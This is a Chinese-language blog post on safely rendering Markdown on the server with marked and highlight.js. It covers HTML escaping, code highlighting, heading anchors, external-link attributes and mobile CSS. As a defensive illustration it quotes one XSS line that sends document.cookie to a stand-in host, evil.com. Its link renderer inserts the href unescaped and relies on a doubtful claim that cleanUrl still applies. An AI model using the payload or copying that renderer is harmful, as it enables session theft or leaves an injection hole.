服务端渲染 Markdown:marked + highlight.js 的正确姿势

把 Markdown 交给浏览器渲染是最省事的做法,也是最容易被打穿的做法。这篇讲怎么在服务端安全地渲染,顺带解决代码高亮和标题锚点。

为什么不用客户端渲染

用 marked 在浏览器里渲染 Markdown 只需要三行代码,但它有三个绕不开的问题:

  1. 首屏闪烁。HTML 到达时是一坨原文,JS 执行后才变成排版好的内容。
  2. SEO 不友好。虽然现代爬虫会执行 JS,但没人愿意赌。
  3. XSS 风险被放大。Markdown 里的原始 HTML 会直接进入 DOM,而渲染发生在用户的浏览器里。

服务端渲染把这三件事一起解决了:HTML 一次到位,内容在传输前就已经是安全的,浏览器的 JS 只用来做交互增强。

核心:把原始 HTML 关掉

marked 默认允许 Markdown 里内联原始 HTML:

这是一段文字

<script>fetch('https://evil.com?c=' + document.cookie)</script>

在 marked v5 之后官方移除了 sanitize 选项(因为内置的清洗不够安全),所以正确的做法是覆盖渲染器,把 HTML 标记整个转义掉:

function escapeHtml(str) {
  return String(str)
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

const renderer = {
  html(token) {
    // 原文照抄,但转义后输出,浏览器只会把它当纯文本显示
    return escapeHtml(token.text ?? token.raw ?? '');
  },
};

这样写 <script> 的作者会看到自己写的东西被原样显示出来,而不是被执行。如果某个作者真的需要在文章里用 HTML,应该用 prerender 出来的组件,而不是内联标签。

代码高亮:marked-highlight

marked 本身不处理代码块的语言,靠插件补:

import { marked } from 'marked';
import { markedHighlight } from 'marked-highlight';
import hljs from 'highlight.js/lib/core';
import javascript from 'highlight.js/lib/languages/javascript';

hljs.registerLanguage('javascript', javascript);

marked.use(
  markedHighlight({
    langPrefix: 'hljs language-',
    highlight(code, lang) {
      const language = hljs.getLanguage(lang) ? lang : 'plaintext';
      return hljs.highlight(code, { language }).value;
    },
  })
);

langPrefix 设成 hljs language- 是为了兼容 highlight.js 的官方主题 CSS——它的选择器既认 .hljs 也认 language-xxx。这样将来想换主题,直接引官方 CSS 就能用。

注意 hljs.getLanguage(lang) 这个判断。 如果直接 hljs.highlight(code, { language: 'cobol' }) 而你没注册 cobol,highlight.js 会抛异常。加上回退到 plaintext 之后,未注册的语言至少还能正常显示。

标题锚点:让文章可以深链接

技术文章经常需要 #some-heading 这种锚点。默认渲染出来的 <h2> 是没有 id 的,得自己加:

import { slugify } from './utils';

const renderer = {
  heading(token) {
    // 用 this.parser 解析行内 token,保留 **加粗**、`代码` 等内联格式
    const text = this.parser.parseInline(token.tokens);
    const id = slugify(token.text);
    return '<h' + token.depth + ' id="' + id + '">' + text + '</h' + token.depth + '>';
  },
};

两个容易忽略的点:

  • 不能直接输出 token.text,因为 token.text 是原始 Markdown 文本,## 什么是 \Array.prototype.at`会连反引号一起显示出来。要调this.parser.parseInline(token.tokens)` 让它先渲染成 HTML。
  • slugify 要处理中文。中文字符在 URL 里会被百分号编码,阅读体验很差。我的做法是保留中文、去掉标点、空格转连字符:
export function slugify(text) {
  return String(text)
    .toLowerCase()
    .trim()
    .replace(/[\s]+/g, '-')
    .replace(/[^\w\u4e00-\u9fa5-]/g, '')   // 只留字母数字下划线、汉字和连字符
    .replace(/-+/g, '-')
    .replace(/^-|-$/g, '');
}

现代的浏览器地址栏已经能很好地显示中文了,/posts/xxx#什么是闭包 完全可用。

外链加 noopener

target="_blank" 打开的新页面能通过 window.opener 操作原页面,这是个真实存在的钓鱼手法。覆盖 link 渲染器顺手解决:

link(token) {
  const text = this.parser.parseInline(token.tokens);
  const href = token.href;
  const external = /^https?:\/\//i.test(href);
  const attrs = external ? ' target="_blank" rel="noopener noreferrer"' : '';
  return '<a href="' + href + '"' + attrs + (token.title ? ' title="' + escapeHtml(token.title) + '"' : '') + '>' + text + '</a>';
}

marked 内置的 cleanUrl 已经会挡掉 javascript: 之类的危险协议,所以这里不用重复做协议白名单。

组装:一个可复用的渲染函数

export function renderMarkdown(md) {
  if (!md) return '';
  return marked.parse(String(md), { gfm: true, breaks: false, async: false });
}

gfm: true 打开 GitHub 风格扩展(表格、删除线、任务列表),breaks: false 保持「单个换行不产生 <br>」的标准行为——写作者应该用空行分段,而不是靠换行。

每次 marked.parse 都是无状态的,因为所有配置都通过 marked.use() 提前注册好了。所以这个函数可以在每次请求里安全地调用,不需要担心并发问题。

别忘了给代码块加横向滚动

移动端最容易被忽略的排版问题就是代码块溢出。CSS 上只要两行:

pre {
  overflow-x: auto;
  -webkit-overflow-scrolling: touch;
}

code {
  word-break: normal;
  white-space: pre;
}

white-space: pre 配合 overflow-x: auto 能保证代码不被折行破坏缩进,同时用户可以横向滑动查看。

小结

服务端渲染 Markdown 的完整清单:

  1. 转义原始 HTML —— 这是安全底线,不是可选项
  2. 只注册需要的高亮语言 —— 控制 Worker 包体积
  3. 覆盖 heading 渲染器加锚点 —— 并用 parseInline 保留内联格式
  4. 外链加 rel="noopener"
  5. 代码块加横向滚动

一共不到 100 行代码,但它把「读者看到的」和「作者写的」之间的距离压缩到了零——没有闪烁,没有 FOUC,没有等 JS 加载的白屏。

← 回到文章列表